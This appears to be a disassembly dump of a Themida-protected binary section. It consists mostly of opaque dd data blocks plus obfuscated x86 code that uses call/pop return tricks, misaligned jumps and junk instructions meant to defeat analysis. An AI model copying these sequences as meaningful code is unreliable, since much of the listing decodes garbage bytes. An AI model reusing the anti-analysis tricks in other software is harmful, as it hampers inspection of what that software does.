		dd 0E420AD8Dh, 6A5A5B07h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 3B97C350h, 5A51111Ah
		dd 1D198D29h, 0C38B07E4h, 8F698D8Dh, 8B6607E9h,	718D89DAh
		dd 3107E41Bh, 0E405F985h, 0A185C707h, 2407E42Dh, 6A000064h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0C663C351h, 699D8BD7h, 2307E41Bh,	0E42571BDh
		dd 0B985C707h, 7E422h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5322C353h
		dd 0F6AC66Ch, 682h, 71B58B00h, 0FF07E403h, 0E41E15B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 601A085Dh, 8BF564F3h, 0E41F0995h, 6195FF07h
		dd 0B07E430h, 0E431CDBDh, 0FF006A07h, 0E40E4195h, 0EBC08B07h
		dd 43A70779h, 0DDF04C19h, 60D167h, 5EFA64A2h, 9068D610h
		dd 5501F5A3h, 0EE8DBEAh, 248726B5h, 83019BF1h, 4AC79DABh
		dd 648DF453h, 42D090DFh, 0F92C04F9h, 0D3CE78BEh, 0DE486089h
		dd 661A5E24h, 0D5071B85h, 170AFBA1h, 390ADD25h,	0E52BE12Ah
		dd 86E82363h, 7C2D4B36h, 0E0055411h, 0F6997C7h,	0B7F887Fh
		dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h
		dd 9D8D8DC7h, 7E407B9h,	0CEB8h,	39858900h, 0E807E40Bh
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5DB563
; ---------------------------------------------------------------------------
byte_5DB495	db 2 dup(0), 0F2h	; DATA XREF: Themida_:00582C44o
		dd 32h dup(0F2000076h)
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB563:				; CODE XREF: Themida_:005DB490j
					; Themida_:005DB5DCj
		lea	ecx, [ebp+7E991BFh]
		jmp	loc_5DB581
; ---------------------------------------------------------------------------
		mov	ecx, 0D3E866C7h
		and	ebx, eax
		mov	al, ds:0BCC825A8h
		retf	2848h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0C3Ch
		db 82h
; ---------------------------------------------------------------------------


loc_5DB581:				; CODE XREF: Themida_:005DB569j
		mov	dh, 6Bh
		mov	[ebp+7E41B71h],	ecx
		mov	edi, [ebp+7E4089Dh]
		mov	dword ptr [ebp+7E42DA1h], 5810h
		sub	bh, 0D7h
		mov	dword ptr [ebp+7E422B9h], 0
		push	0
		push	edi
		call	sub_5DB5B1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB5B1	proc near		; CODE XREF: Themida_:005DB5A9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5DB5B1	endp

; ---------------------------------------------------------------------------
		jle	short loc_5DB5D8
		enter	188Ch, 0B9h
		jmp	near ptr loc_5DB5DC+1
; ---------------------------------------------------------------------------
		dd 79F50B0Dh, 7B73B324h, 0A1A0A75Eh
; ---------------------------------------------------------------------------


loc_5DB5D8:				; CODE XREF: Themida_:005DB5C1j
		fdivr	dword ptr [esi+52h]
		popa


loc_5DB5DC:				; CODE XREF: Themida_:005DB5C7j
		jno	short near ptr loc_5DB563+4
		mov	ch, 91h
		xor	esp, esp
		pop	es
		pusha
		xor	[ebp+7E408A1h],	edx
		cld
		popa
		push	dword ptr [ebp+7E40635h]
		push	0
		push	eax
		call	sub_5DB5FD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB5FD	proc near		; CODE XREF: Themida_:005DB5F5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5DB5FD	endp

; ---------------------------------------------------------------------------
		or	eax, 8589ADEFh
		icebp
		adc	al, 0E4h
		pop	es
		call	dword ptr [ebp+7E43061h]
		push	0
		push	ebp
		call	sub_5DB627
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB627	proc near		; CODE XREF: Themida_:005DB61Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5DB627	endp

; ---------------------------------------------------------------------------
		db 0F0h
		dd 130CDBCEh, 0C5858B39h, 6A07E41Ch, 4195FF00h,	8B07E40Eh
		dd 828EBC0h, 0EB5660Ah,	394770F8h, 60413F4Dh, 0B0F1EB90h
		dd 1792E761h, 0F0172F7Dh, 68F091BEh, 74699AFAh,	0F11B980h
		dd 0E90C8437h, 99h, 5346B52Eh, 646E6957h, 2073776Fh, 43205058h
		dd 6B636568h, 42206465h, 646C6975h, 766E4520h, 6E6F7269h
		dd 746E656Dh, 70202D20h, 206C7265h, 74736574h, 6C702Eh
		dd 18h dup(0)
		dd 100CE900h, 42680000h, 0E907E994h, 0FFFBCC21h, 0E9955968h
		dd 0CC17E907h, 4D68FFFBh, 0E907E997h, 0FFFBCC0Dh, 0E9978C68h
		dd 0CC03E907h, 6068FFFBh, 0E907E998h, 0FFFBCBF9h, 0E998FC68h
		dd 0CBEFE907h, 2368FFFBh, 0E907E99Dh, 0FFFBCBE5h, 0E99FE368h
		dd 0CBDBE907h, 1768FFFBh, 0E907E9A1h, 0FFFBCBD1h, 8DC098C2h
		dd 4275E178h, 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h
		dd 0F56277AAh, 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FF20ABDBh
		dd 0FBFCB023h, 8ED27CD9h, 6194BA9Bh, 0FB4F04EBh, 0A8BECAh
		dd 68B2FB57h, 0F9A34285h, 9DB86523h, 0D11A6DB1h, 0A16A9E8Dh
		dd 6CED23F9h, 0A1D606E9h, 0C6D323F9h, 981B397Dh, 0C5E9EE13h
		dd 3D17412Ah, 0FB54EFF9h, 58F78A8Eh, 5E0D5C0Ch,	0B8EF015Ah
		dd 351F3952h, 0E7D9B721h, 0F9FED404h, 83CCD923h, 20B252h
		dd 0E6B10000h, 9B7EC8C0h, 23F9979Ch, 3F2E727Fh,	23F9980Bh
		dd 0F36FE073h, 5A5EAABBh, 0F3C0h, 7CD9BF00h, 533A8ED2h
		dd 0A5ADAA00h, 41122B5Ch, 0B14F803Eh, 9599ADA7h, 7CDDC617h
		dd 0FA4396DAh, 0BC92C3B6h, 173D2478h, 6D9EF135h, 694C0154h
		dd 1C15B039h, 17402936h, 5BA4F73Bh, 72E2C911h, 5E4396DAh
		dd 1C15B02Eh, 0A3A1D2Bh, 0F1C15B0h, 2588B902h, 15B4AF14h
		dd 17371E1Ch, 0C886CFE4h, 0F1BF977Eh, 52A5E963h, 4172C509h
		dd 0C9C1E7CDh, 0C7E19C7Fh, 0D1E323F9h, 3015FA3Fh, 99306187h
		dd 3F51598Ch, 0C206E933h, 0E72BE121h, 0EC351D3Ah, 0B298BBA2h
		dd 3522097Fh, 80D3EC1Dh, 9D44D8CAh, 2C50C2A6h, 0DBB2Fh
		dd 193F1B00h, 0CE88D1E6h, 7ECE869Bh, 3222364Bh,	0E169EAFFh
		dd 0C517AAEh, 0BBD00347h, 6E83B69Ch, 203568E8h,	81E61935h
		dd 23043417h, 550923FFh, 0D07AD954h, 0FF573E86h, 0D5BA0D51h
		dd 1C158EA5h, 0A1B49DAAh, 4197CADh, 4FCAFD51h, 7EC8C0E6h
		dd 5094C297h, 6F52CCFDh, 23F99870h, 0EDD41E2Bh,	51A4E86Ah
		dd 89BDAC20h, 0C23F997h, 0CFC2064Ah, 77E0C987h,	1D6297DBh
		dd 7D515532h, 6192C296h, 72592728h, 0A03869E1h,	5A5EAAC8h
		dd 0C76Fh, 7CD96E00h, 0B89B8ED2h, 8E7EAE91h, 0CE7B1C15h
		dd 367FC888h, 9EB79EF2h, 0DC796CB0h, 92DB2E72h,	93E74C61h
		dd 6FE61C15h, 0BE97ACDFh, 40664C90h, 0EECFE48h,	4DF884D6h
		dd 2C75DF79h, 0E39E81FBh, 0E523FA88h, 0B2F656FEh, 8A972E5Fh
		dd 31394F57h, 67AF04E7h, 53002BE1h, 0B3064A00h,	83C78FCAh
		dd 0B69DE730h, 99C9AC9Dh, 961C17A2h, 970D4089h,	4C0CA8B0h
		dd 2871C408h, 0D575DEF7h, 0A6C92FE3h, 322F53C2h, 0CA4h
		dd 0FD302832h, 0B2E571E8h, 6295B79Dh, 16490B4Dh, 0C5F85201h
		dd 30232A91h, 85D2E71Ah, 0D1859ACDh, 1E374C7Fh,	2E98FD30h
		dd 0FF241B4Bh, 6B6C2023h, 9DD07AD9h, 3D194027h,	5C75A6F9h
		dd 0A72255F9h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 4E7E61A9h
		dd 4B1C158Fh, 39FDD373h, 0BC05AD54h, 129F768Bh,	0FF0C23FAh
		dd 1198CCBBh, 6D0023FAh, 20D686E2h, 7555A5Eh, 54000000h
		dd 8DFCFh, 0C0E6D400h, 53367EC8h, 1C158F23h, 0BD685028h
		dd 0F940585Eh, 22057FB0h, 23FA1117h, 0CEFEE129h, 0CB23F9FEh
		dd 1EF68DBEh, 0FF00B58Ah, 1E3720E3h, 0B69DE730h, 0A4610A0h
		dd 0F92A73C6h, 0C0C39285h, 149DD4B7h, 0C9FC45A2h, 69ADA1B4h
		dd 5E292E15h, 84235D2Dh, 5B8CD537h, 3DCA3C46h, 0A0E96F8Bh
		dd 5847F1C1h, 6CB0F986h, 2C70DA79h, 0CDBA9514h,	46A3AC53h
		dd 0ADF53F0Fh, 0B63D9ACAh, 61F29F7Ch, 0C6FA0E9h, 0ACF05EF7h
		dd 0B63D8ABDh, 3143C97Ch, 0BFBF8BC9h, 0D714957Ch, 2DD83145h
		dd 400F4879h, 699CB2A3h, 94D0154h, 0B591E31Ah, 0A8A71C7Ch
		dd 0EA341A3Bh, 0BBFF5503h, 5ED43768h, 4374E277h, 0D1832B2Ah
		dd 8BD47ADBh, 0F618FE42h, 8168B0FAh, 0D476DDD7h, 0B0F43D90h
		dd 0C9CE4392h, 7CC58A14h, 4CCF364Bh, 0AFBCC359h, 1BD8D07Ch
		dd 0A1B3FDF5h, 0E920DAAAh, 86CE8A05h, 75A6EF42h, 0E91118FBh
		dd 91BBCB4h, 11506EFAh,	0FA91C2EFh, 98BCA3EDh, 0D4A0D0B3h
		dd 909DBB74h, 0E5701647h, 9985B5A4h, 2670788Eh,	0A76B2114h
		dd 7FB0206Fh, 0B7772205h, 0BF6C6548h, 2377BB99h, 0C0A51040h
		dd 0B7000D62h, 22442A6Eh, 6CF9DC26h, 406AA855h,	9DCDB0F8h
		dd 0A25D6234h, 3480B095h, 5DFB5D62h, 0F960B3F7h, 1724BBECh
		dd 0DF6FE6CDh, 90BE97ACh, 5C378A9Eh, 0D5D2F681h, 0AB0h
		dd 0F1243426h, 0A6D97DDCh, 5689C391h, 0A3D1741h, 0B9EC5EF5h
		dd 3C172685h, 91C6DB0Eh, 0DD798EC1h, 2A2B4073h,	228CF124h
		dd 0FF260F3Fh, 57580C23h, 0E0D27CD9h, 0C2A8DCDEh, 71252246h
		dd 6500000Ah, 1B3063F5h, 0D0E5183Eh, 8095C884h,	34497CD8h
		dd 0C4F82B1Fh, 4DFD56E7h, 52051Ah, 0B29EB8CDh, 63EB6A7Fh
		dd 7E61CB30h, 23FF264Eh, 0D996974Bh, 9B8ED27Ch,	364892B8h
		dd 90E9C9E3h, 0AD10419Dh, 3A4C0901h, 0B59CE42Eh, 6A7FB0A2h
		dd 23FA6F63h, 1AA51B28h, 0E5B780ABh, 0DE6EE6CDh, 838FA1ADh
		dd 4F075239h, 0D87B80Bh, 536D7F2Ah, 7659A1EAh, 0DDD36B46h
		dd 6E053643h, 11371D61h, 7587CF19h, 32268895h, 0BDE10E22h
		dd 0D505E832h, 0DADDD2B8h, 0FA879CCDh, 0D2E5BA69h, 0A0E46AEBh
		dd 78851C4Dh, 0CDD4E62Eh, 0C5B4C380h, 0CAA7449Ah, 0EA33AE62h
		dd 0F9B5A0B9h, 63ADF660h, 4677DB7Ch, 0D0866DE3h, 0B8E93C80h
		dd 0A698B69Fh, 0FC4ED50Eh, 9DC9C6EAh, 39000009h, 0EF043721h
		dd 0A4B9EC6Ah, 54699CB0h, 81D5004h, 98CCFF4Bh, 21292A33h
		dd 0D47ED9EEh, 86CA8CA1h, 37173E53h, 52359F04h,	23FF2722h
		dd 0D9727327h, 9B8ED27Ch, 0EF61F5BBh, 0DC0F58ABh, 97965466h
		dd 0E783B67Ch, 0BBD1A1B6h, 37591C15h, 0AE91B89Bh, 1C15BB7Eh
		dd 0E1256E7Bh, 0BB7AAA8Dh, 727F1C15h, 0B396E029h, 23FF4D74h
		dd 64E66D54h, 458F9C33h, 1CDCEBFDh, 93CDC2B2h, 420C4962h
		dd 0F35BFA0Fh, 0B397BCAFh, 7DD58269h, 41B5E639h, 5648084Eh
		dd 0BABEF874h, 16F6C90h, 0D5000009h, 8BA0D385h,	405588CEh
		dd 0F0053814h, 0A4B9EC68h, 34689BAFh, 0BD8DC697h, 70E2758Ah
		dd 222E283Dh, 0D37BDAEFh, 0EED13BA0h, 23FF26BEh, 780607BBh
		dd 5788C291h, 0F337173Eh, 0B09CB89Fh, 5FEF667Fh, 202D281Bh
		dd 158F0D3Dh, 0BC05121Ch, 7FD18578h, 0ABA4233Bh, 0E16EB3DEh
		dd 45325104h, 25D94BB0h, 91D57DDAh, 62ACF53Eh, 7CF09650h
		dd 79AA6F69h, 0E52A8216h, 3D515DBAh, 50000005h,	7EC8C0E6h
		dd 0FF205C9Bh, 4E313F23h, 23FF201Eh, 3F49C96Eh,	0E2493488h
		dd 0FA428CD5h, 0CC104613h, 262F4879h, 987FF528h, 0ED65F2BEh
		dd 0DC0D56A9h, 6BAFB3D0h, 6B18977Ch, 67E87B9Dh,	0BEEED119h
		dd 0BB9A9AFFh, 0FF9ACAADh, 929F9A9Ah, 28801849h, 4F233FEEh
		dd 57h,	0F8280B53h, 0F59A9B07h,	0E638B7E8h, 337BC5CDh
		dd 8ED808EBh, 5531C15h,	0AADBE84Fh, 158E6595h, 195D6A1Ch
		dd 7CF13A2Ah, 400FA23Ch, 54FA5B42h, 0FDD38B23h,	6C7E7DDDh
		dd 0CF19F5B3h, 3FDF10FAh, 13h, 21ECF3Eh, 0F2D90000h, 163D2366h
		dd 0C7119693h, 78CE4D7Eh, 5889C391h, 0E72B374Ch, 81FB13F8h
		dd 575FFA95h, 0C5095200h, 89CD85D2h, 94F15E05h,	3452FD90h
		dd 145074Dh, 0FA9ACAADh, 929F9581h, 28801849h, 7524D6CFh
		dd 468ACA8Eh, 74B0153h,	3E216BB4h, 9581EF0Eh, 2DCDFE0Bh
		dd 20h,	0C4CDE62Ch, 158EB1E1h, 58A1AE1Ch, 0FB212514h, 0D6699581h
		dd 0F3BDED79h, 6ABA24D6h, 0B9000000h, 7BC5CDE6h, 0D808EB33h
		dd 0D51C158Eh, 0D775DFC8h, 8E6191A6h, 515E1C15h, 1C382007h
		dd 65485D8h, 0FE6A619Ch, 3224351Ch, 0DB87C801h,	5DBADC83h
		dd 34A8h, 0CDE6A700h, 4C337BC5h, 15460Ah, 1C158ED2h, 0C3A7BECBh
		dd 9DB28BC9h, 0BA9F99D1h, 139E5Dh, 789D0000h, 5C8DC791h
		dd 14339h, 0FD5C4300h, 91C21559h, 0F1CF12h, 78D40000h
		dd 8F1D4D30h, 15221C15h, 17BBD8E4h, 0D9CC103Eh,	3D90D47Eh
		dd 7867ABF4h, 7165D29Fh, 0F36FE073h, 8EADCBBh, 0A8C0h
		dd 0CDE6BF00h, 8EB1E1C4h, 0A1AE1C15h, 0FB2B0E58h, 1C158Eh
		dd 7E61A9F3h, 1C158F4Eh, 990D3E4Bh, 35BB96AAh, 0D57FD93Ch
		dd 97B79E91h, 2728CF53h, 7082565Ah, 61E4C26Eh, 0C80132C1h
		dd 0C883DB87h, 4FA87D9Ah, 0A7000000h, 7BC5CDE6h, 44084C33h
		dd 99C9AC00h, 961C158Eh, 0FA0F4089h, 1C158ECAh,	2A7EC2CFh
		dd 0FC401643h, 4F6378A9h, 0B78935BCh, 765D2B24h, 0D82B6FDFh
		dd 0BB7BAB8Eh, 73808935h, 0B2F2AA42h, 579F309Ah, 35B44474h
		dd 0B3C4989h, 146Bh, 91786A00h,	75A588C3h, 7A1C158Eh, 0D0F3246Dh
		dd 64h,	0C39178D5h, 9BB7A089h, 4A04516Ah, 8CCBB206h, 4D8095C6h
		dd 911C158Fh, 79DC0946h, 0E627A2D5h, 0CAAEC5CDh, 46044F8Dh
		dd 7450F02h, 0B7983FC3h, 0BF9069CAh, 159C3026h,	7371A1Ch
		dd 41C159Ch, 0FCB392Ch,	6BB40B63h, 0BFE3BA22h, 0DC865DBAh
		dd 85FFFFFEh, 1D4D3078h, 221C158Fh, 7DC1E415h, 0C6000002h
		dd 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 42BB4CDFh,	851E520h
		dd 5AD4054Eh, 23292B12h, 6E9ADDF2h, 50FD23FAh, 0B4FE4703h
		dd 1141246Ch, 0E23FA6Eh, 6DEC1C01h, 44F123FAh, 0C1F23B0Fh
		dd 6E2A5E4Dh, 0A7AD23FAh, 0B9FD4F05h, 0E6D91D66h, 849CE070h
		dd 393D4A05h, 0EDBDA9A6h, 8A5A5E40h, 29h, 0C8C0E689h, 979C9B7Eh
		dd 727F23F9h, 78C8DA2Eh, 0B8414EA9h, 98CCE112h,	23F9A5h
		dd 0D686E26Dh, 555A5EB4h, 0A5h,	0C8917854h, 0C6F74A8Eh
		dd 62A6A8ADh, 1C66E46Fh, 0EA2E2035h, 0AFF361F7h, 6EE2135Ch
		dd 2A74DA7Bh, 0E8476218h, 0E3147243h, 74D97C6Fh, 166A6191h
		dd 8515E1Ch, 6F5FC4D5h,	87CE1C16h, 7A8C94C7h, 6A41246Eh
		dd 4523FD4Eh, 4C07EE38h, 6E55CBFEh, 1E3768E8h, 9D231535h
		dd 0E1BAC29Dh, 4DAC0BDh, 5EFC0000h, 0A7B2C7FAh,	0ED677CAFh
		dd 41172C5Fh, 88CBE013h, 705B8FC2h, 0B1E466EDh,	6497BB9Ch
		dd 1649074Fh, 0C7FA5401h, 0E515F862h, 0EA23FF2Bh, 7AD93536h
		dd 0B79F86D0h, 0B2F660F9h, 82E5165Fh, 3366E86Dh, 0D27CD9B8h
		dd 93BA9B8Eh, 158E80B0h, 27707D1Ch, 197CBDDh, 8B9FABA8h
		dd 2E5F6B3Eh, 0A5ADC3CBh, 0EC11785Bh, 717E23F9h, 0EB0C3E2Dh
		dd 0CA8F23F9h, 355488Ch, 0E2890D51h, 0B0F5206Dh, 86CFE19Fh
		dd 71E8C96h, 0EC020E3Fh, 6B529AE4h, 0CC1F63E9h,	0FA3CB7E7h
		dd 0BEA7B423h, 0A84B595h, 0DE59C027h, 6B9EAB2Bh, 0B0A54D63h
		dd 0F0675A9Eh, 86D01962h, 0FFD264A3h, 606F4723h, 82AAE683h
		dd 90D8226Bh, 0BFA2ADA9h, 23FEB98Fh, 5367F8Ch, 0B1E468ECh
		dd 0FEB976A0h, 0EF61F523h, 202993A5h, 85E0F49Fh, 0E6397DCFh
		dd 0EA096C9Dh, 62h, 8EA9DDEFh, 1B391C15h, 2F73E177h, 4B6093DCh
		dd 0ABFF4309h, 8F508063h, 404D1C15h, 8ECAFA0Fh,	5A361C15h
		dd 23292B12h, 77A78CDFh, 741C158Eh, 52FD3667h, 5A8DBF95h
		dd 0FB3F1145h, 158ED90Ch, 0ADA24D1Ch, 0E26F1640h, 0C06F68CAh
		dd 3EB4E730h, 0FDE313F6h, 0DBE81C15h, 0FD7EAE91h, 6E7B1C15h
		dd 7DD9BE3Dh, 0BA9C8FD3h, 0F45F5296h, 381F1256h, 3175DD7Ah
		dd 475195DEh, 0BBE6A3ACh, 0C4ABD976h, 748DBE92h, 0C53B6EE2h
		dd 1A3A7ADEh, 529BEE32h, 758ABB0Eh, 1C15A23Dh, 8D712890h
		dd 5EF85DBAh, 0F7FFFFFFh, 0EED17CD9h, 1C158EBEh, 0CC331D39h
		dd 3F3276BFh, 8F053816h, 47F1C17Dh, 70A102F0h, 0FC464264h
		dd 0F9CAD619h, 82CCD923h, 0D5AA2470h, 0E3BDD183h, 34A3E938h
		dd 0D62085A9h, 0F9E85C8Dh, 23FA1CC5h, 0B9B59A2Dh, 5A5E11E1h
		dd 1D8FC5ACh, 83D61A3Ch, 72A3F63Ah, 55D2h, 0C0E6D100h
		dd 53367EC8h, 1C158F23h, 78DE7B28h, 8498E134h, 0F3793C13h
		dd 79F324E2h, 0FA5C9796h, 8669B123h, 23FA5B56h,	19FC4653h
		dd 23FA5AE9h, 11A8D9E6h, 5AF02003h, 0E0ED23FAh,	0F0664D97h
		dd 0CCBB2F60h, 23FA5A98h, 86E26D00h, 5A5E6FD6h,	0D755h
		dd 7CD95400h, 0B89B8ED2h, 0FA5B4E92h, 9DB1A5B4h, 7FF5E69Fh
		dd 1357A00Fh, 0E6193520h, 15CB70D5h, 56F85D1Ch,	3C470E23h
		dd 0CEF942Fh, 1C15CBDCh, 47C0D4E1h, 8BCF18C4h, 71E783A5h
		dd 8509AE3h, 7CADDDC0h,	0ECCF1C16h, 1C167CBCh, 404DB4C1h
		dd 8BB3FA0Fh, 2E1523FAh, 62F92A2Ah, 0F41A2255h,	0F2CFB2FCh
		dd 6D2BE158h, 79BD99C0h, 0AC93DD26h, 5B70A3A7h,	766052F8h
		dd 8EC2A6D2h, 21A6D6Ah,	9EBC0000h, 0E77287BAh, 2D273C6Fh
		dd 81D7EC1Fh, 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch
		dd 0D609470Fh, 87BA94C1h, 0A5D5B822h, 0AA23FF2Dh, 7AD9F5F6h
		dd 474DC105h, 0B7008D5Fh, 30270E84h, 377BD382h,	4579BE4h
		dd 0B39BBAD3h, 7DD58269h, 5CFDE639h, 0EB66C9FAh, 7EC8C0E6h
		dd 0F9979C9Bh, 2E727F23h, 0F9980B3Fh, 8ACA8E23h, 4C025346h
		dd 0DE71F008h, 0E2C99DA1h, 0C9F9DC75h, 0C623F997h, 0D92C70B9h
		dd 84E06FA8h, 5A5EAAD4h, 0E753h, 0C70F5700h, 0F993B4E4h
		dd 0C7ACB923h, 23F99397h, 0D7568794h, 8ED27CD9h, 4E92B89Bh
		dd 8256E8FAh, 3AE9393Ch, 0A2EC351Dh, 16508FBFh,	4E7F8C1Ch
		dd 1655D439h, 321C391Ch, 436BEAFFh, 97BB9C12h, 5DEF654Eh
		dd 397DC619h, 0EB353D53h, 0FB5B4F04h, 75BE1155h, 33ADDE31h
		dd 0FA640950h, 7ED98623h, 0F43D90D4h, 554498AAh, 7520A4CAh
		dd 0B7D9E144h, 0CA8A71BBh, 0BAEB3E82h, 7F215D40h, 78862BE0h
		dd 187D6595h, 145D6A1Ch, 0DA70E3CAh, 35654890h,	3A1C187Eh
		dd 8499FC2Dh, 63897BCFh, 2FC2A5EEh, 0E60E0Bh, 6AF00000h
		dd 0B3A6BBEEh, 0F95B70A3h, 4D0B2053h, 94BFD407h, 6C4F83B6h
		dd 0A5D872E1h, 588BC790h, 0A3D1343h, 0BBEE60F5h, 0D909EC56h
		dd 0D623FF2Fh, 7AD92122h, 0CD889DD0h, 0C6D84E81h, 0DB6C6866h
		dd 4CCBFCE7h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h,	0FF20CB0Eh
		dd 5106ED23h, 6139D001h, 64CB19C5h, 2151348Eh, 1E23FEB3h
		dd 357FC811h, 13226223h, 0EBFB0F45h, 87FB2CF9h,	6AEDC194h
		dd 0FA58FFE8h, 0D1F67B1h, 3186F500h, 4D7D62F3h,	5223FEE9h
		dd 9CB11445h, 644B95B9h, 0BB2F60F4h, 0AE0062CCh, 2629D078h
		dd 7FB29CB9h, 1B332209h, 0E074E4D7h, 0EC00499Ch, 411D09B7h
		dd 486192D6h, 10F7410Dh, 67DB0C48h, 83D0E474h, 0D8212F27h
		dd 0A6414B8Fh, 35193CA9h, 0E668ED02h, 0EF674EA2h, 99CA1D61h
		dd 376h, 3A697B00h, 93D781D9h, 5599B5A0h, 185CF462h, 0DC203225h
		dd 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh,	0A8EC6AEFh
		dd 0E189516Ah, 4C181h, 0E9810000h, 4, 5C240C87h, 68243C89h
		dd 275Dh, 50241C89h, 405E089h, 83000000h, 48704E8h, 0C895C24h
		dd 0BA525024h, 5D927082h, 0BB5AD089h, 657C036Bh, 6858C329h
		dd 7394h, 81242489h, 42404h, 52590000h,	8BAh, 89CA0100h
		dd 24148B1Ah, 0FF04C483h, 81592434h
		dd 4C4h, 2434FF00h, 4C4835Bh, 0FBBC20E9h, 22B831FFh, 307E9A2h
		dd 5E0FFC5h, 0B9590493h, 2C4C6E91h, 5C6D3EE8h, 13281961h
		dd 4966A2DEh, 4F6657DBh, 0F77C403Bh, 7A0D0331h,	305D7FC4h
		dd 4E06A257h, 24267887h, 8E0E2A47h, 0EF05DEABh,	0E45B35CCh
		dd 0E35A1942h, 0E82A7E86h, 13h,	61C79BDh, 1ACE01CCh, 6C5A7736h
		dd 552D1A5Fh, 66F371EEh, 0F959F98Bh, 6DDEC181h,	60600000h
		dd 830Fh, 840F0000h, 0
		dd 0CE861h, 0D2850000h,	0F2A750C4h, 0BD8207B2h,	0BE88745h
		dd 0AC000000h, 33784922h, 6962E7B1h, 5B5FAC2Ch,	0BA61h
		dd 0CE810000h, 1833055Ch, 0F0A34FFh, 0C86h, 7E900h, 32240000h
		dd 7B91CBEBh, 8D0F58D4h, 3, 81FDD780h, 8C7CF0C0h, 0A8E88107h
		dd 604B05A1h, 61FEBF0Fh, 0E4D5F081h, 51606A5Eh,	8B5F6160h
		dd 48961CFh, 0FFB70F11h, 0B026BF66h, 6604EA83h,	0E35DC681h
		dd 92DCFA81h, 850FFFFFh, 0FFFFFFA4h, 0CDEEF381h, 0B0E924F7h
		dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 19D853Bh, 840F07E4h
		dd 36h,	1DE1853Bh, 840F07E4h, 2Ah, 0DE1853Bh, 840F07E4h
		dd 1Eh,	2255853Bh, 840F07E4h, 12h, 22ADBD83h, 0F0107E4h
		dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh,	784A8B00h
		dd 840FC985h, 49h, 0F8C281h, 728B0000h,	8BC8030Ch, 518B1C59h
		dd 8BD80314h, 0FC9850Bh, 1084h,	0FCE3B00h, 1782h, 0FCF3B00h
		dd 0F83h, 4C38300h, 0DC850F4Ah,	0E9FFFFFFh, 0Dh, 4FE79D8Dh
		dd 5B807E4h, 0FF000000h, 0BC361E3h, 13FE9D0h, 0F600000h
		dd 683h, 8B0F00h, 0E9000000h, 13h, 0A3DB8371h, 54D1D316h
		dd 6F5CC845h, 0D00935F5h, 616D2025h, 0A4EFB58Dh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 59446BC3h, 32E29120h, 0FE9E9h, 4A2F0000h, 4138D80Bh
		dd 0F6804BABh, 0AE556D4Bh, 17858D5Ah, 6A07E784h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 72AEC351h, 0F5D0FFF8h, 8C66F9C3h, 0AE9D9h, 6C6A0000h
		dd 1C4898Fh, 0B8BDC796h, 0F04C1F6h, 4E84h, 0DE96000h, 19000000h
		dd 85671DBh, 0D882984Dh, 0EECB6229h, 8B614AB7h,	32CB8BFBh
		dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h
		dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh,	0FA75490Ah
		dd 1B8h, 8B09EB00h, 0B8E4EB00h,	0
		dd 0FF560CFh, 287h, 6189B700h, 569BB660h, 0FE9h, 0EB207300h
		dd 7ED2E721h, 0C307A9A4h, 0FB9D37EEh, 6A6159h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 8065C3h, 3885C782h, 3F07E9A5h, 0E8000101h, 0Bh, 0FB522869h
		dd 0D9A5918Dh, 0F01B051h, 665FF6BFh, 0C781F28Bh, 6732h
		dd 0AE8h, 0EC209E00h, 0A07D2ECFh, 0F4F02A7h, 187h, 0BB59F800h
		dd 5D5F9A47h, 7F53C381h, 0C880A2A0h, 0F9178BE1h, 2E4EEA81h
		dd 0CE8B1FE0h, 0DCBFF281h, 81664021h, 81B936EEh, 14C0D6EAh
		dd 9B86B959h, 8052305Bh, 78F49F0h, 6E9h, 6962E700h, 8350AC2Ch
		dd 4FFC02EFh, 850F4B4Fh, 2Bh, 0DE9h, 9DDD7600h,	0CF886F59h
		dd 0E6BF9E6Ah, 3BE98D46h, 24000000h, 2D8E32D9h,	0A1A217C1h
		dd 0CA1E6D4Ah, 289EFDE2h, 0E9CACEB1h, 9, 82379D5Bh, 0F03D010Dh
		dd 0FF83E904h, 273EFFFFh, 0C024B893h, 2E08A1F0h, 3A0E8760h
		dd 35747CBAh, 8D8D7972h, 7E9A75Dh, 6D18D01h, 8D8907E4h
		dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
